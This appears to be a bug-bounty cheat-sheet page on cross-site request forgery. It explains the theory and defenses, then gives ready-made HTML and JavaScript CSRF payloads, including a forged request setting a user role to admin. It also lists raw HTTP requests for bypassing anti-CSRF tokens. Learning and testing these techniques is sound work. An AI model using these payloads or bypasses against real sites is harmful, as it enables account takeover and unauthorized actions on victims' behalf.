CSRF
Theory
Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.
In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user's account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application's data and functionality.
For a CSRF attack to be possible, three key conditions must be in place:
- A relevant action. There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).
- Cookie-based session handling. Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.
- No unpredictable request parameters. The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.
Resources
- Cross-Site Request Forgery - Bug Bounty Hunting Essentials, pg 41
Create a CSRF Attack
- Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired request contains a large number of parameters, or there are other quirks in the request. The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:
- Select a request anywhere in Burp Suite Professional that you want to test or exploit.
- From the right-click context menu, select Engagement tools / Generate CSRF PoC.
- Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser).
- You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.
- Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully and the desired action occurs.
Common CSRF Vulnerabilities
- Validation of CSRF token depends on request method
- Validation of CSRF token depends on token being present
- CSRF token is not tied to the user session
- CSRF token is tied to a non-session cookie
- CSRF token is simply duplicated in a cookie
Preventing CSRF attacks
- The most robust way to defend against CSRF attacks is to include a CSRF token within relevant requests. The token should be:
- Unpredictable with high entropy, as for session tokens in general.
- Tied to the user's session.
- Strictly validated in every case before the relevant action is executed.
- Using SameSite cookies
- The
SameSiteattribute can be used to control whether and how cookies are submitted in cross-site requests. By setting the attribute on session cookies, an application can prevent the default browser behavior of automatically adding cookies to requests regardless of where they originate.
- Header Flags
- Secure - Forces applications to send cookies for HTTPS connections only
- HTTPOnly - Avoids scripting attacks that extract information in cookies by allowing only the browser to interact with the cookies, not any JavaScript
How to Find
- 1.HTML GET Method
1
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
Copied!
- 1.HTML POST Method
1
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
2
<input name="username" type="hidden" value="uname" />
3
<input type="submit" value="Submit Request" />
4
</form>
Copied!
- 1.JSON GET Method
1
<script>
2
var xhr = new XMLHttpRequest();
3
xhr.open("GET", "http://www.example.com/api/currentuser");
4
xhr.send();
5
</script>
Copied!
- 1.JSON POST Method
1
<script>
2
var xhr = new XMLHttpRequest();
3
xhr.open("POST", "http://www.example.com/api/setrole");
4
xhr.withCredentials = true;
5
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
6
xhr.send('{"role":admin}');
7
</script>
Copied!
Bypass CSRF Token
- 1.Change single character
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Copied!
Try this to bypass
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
Copied!
- 1.Sending empty value of token
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Copied!
Try this to bypass
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=
Copied!
- 1.Replace the token with same length
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=aaaaaa
Copied!
Try this to bypass
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=aaabaa
Copied!
- 1.Changing POST / GET method
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Copied!
Try this to bypass
1
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
2
Host: target.com
3
[...]
Copied!
- 1.Remove the token from request
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
Copied!
Try this to bypass
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456
Copied!
- 1.Use another user's valid token
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
Copied!
- 1.Try to decrypt hash
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=MTIzNDU2
Copied!
MTIzNDU2 => 123456 with base64
- 1.Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=vi802jg9f8akd9j123
Copied!
When we register again, the request like this
1
POST /register HTTP/1.1
2
Host: target.com
3
[...]
4
5
username=dapos&password=123456&token=vi802jg9f8akd9j124
Copied!
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
Last modified 6mo ago